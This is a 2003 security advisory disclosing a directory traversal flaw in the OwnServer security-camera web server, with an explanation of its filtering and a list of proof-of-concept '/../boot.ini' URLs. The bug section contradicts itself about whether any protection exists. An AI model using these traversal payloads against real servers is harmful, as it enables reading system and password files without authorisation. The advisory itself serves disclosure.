OwnServer10.txt

`#######################################################################  
  
Application: OwnServer (Used By Security Cameras Products)  
Vendors: http://www.anteco.co.il  
Big Resellers:  
http://www.anykeeper.com  
http://www.sahar-systems.co.il  
  
Versions: <= 1.0  
Platforms: Windows  
Bug: Directory Transversal Vulnerability  
Risk: High  
Exploitation: Remote with browser  
Date: 25 Dec 2003  
Author: Rafel Ivgi, The-Insider  
e-mail: [email protected]  
web: http://theinsider.deep-ice.com  
  
#######################################################################  
  
1) Introduction  
2) Bug  
3) The Code  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
OwnServer is a web server used as a webserver for watching security cameras  
remotly.  
It allows broadcasting live streaming video on the web through the built-in  
webserver.  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
The webserver uses a protection to avoid the directory traversal bug.  
"//" is replaced to ""  
"\." and "\.." is replaced to ""  
"\" is replaced to "/"  
"\\" is replaced to "//"  
  
The webserver uses no protection to avoid the directory traversal bug.  
The problem happens when the attacker uses the classic pattern "/../" that  
allows him to see and download any file in the remote system knowing the  
path.  
This allows any attacker to : Read and download any local file, and in most  
cases retrieve the machine's password files and invade it (using  
ssh,ftp,http,netbios,samba etc...).  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
http://<host>/../../boot.ini  
http://<host>/../../../boot.ini  
http://<host>/../../../../boot.ini  
http://<host>/../../../../../boot.ini  
http://<host>/../../../../../../boot.ini  
  
#######################################################################  
  
---  
Rafel Ivgi, The-Insider  
http://theinsider.deep-ice.com  
  
"Things that are unlikeable, are NOT impossible."  
`